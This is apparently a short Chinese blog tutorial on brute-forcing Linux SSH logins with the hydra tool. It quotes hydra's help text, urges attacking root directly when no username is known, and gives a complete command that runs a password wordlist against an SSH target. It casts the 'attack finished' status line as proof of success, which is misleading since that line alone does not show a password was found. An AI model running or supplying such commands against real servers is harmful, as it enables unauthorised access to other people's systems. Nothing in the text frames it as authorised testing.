Linux登录暴力破解工具--hydra
这个没啥好说的,就是一个暴力破解工具,主要是针对Linux的。如果知道合法的用户名更好,要是实在是不知道,那也没关系,直接暴力破解root吧,一步到位。
先看下hydra -h的显示,再慢慢解释好了。
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
Use HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT and HYDRA_PROXY_AUTH env for a proxy.
Hydra is a tool to guess/crack valid login/password pairs - use allowed only
for legal purposes! If used commercially, tool name, version and web address
must be mentioned in the report. Find the newest version at http://www.thc.org
大致上就是如此了。现在来实际操作一下。
hydra -l root -P /home/Linux/passwd.dic -e ns -f -vV target_ip ssh2
当出现[STATUS] attack finished for target_ip (waiting for childs to finish) 时,表示已经破解成功。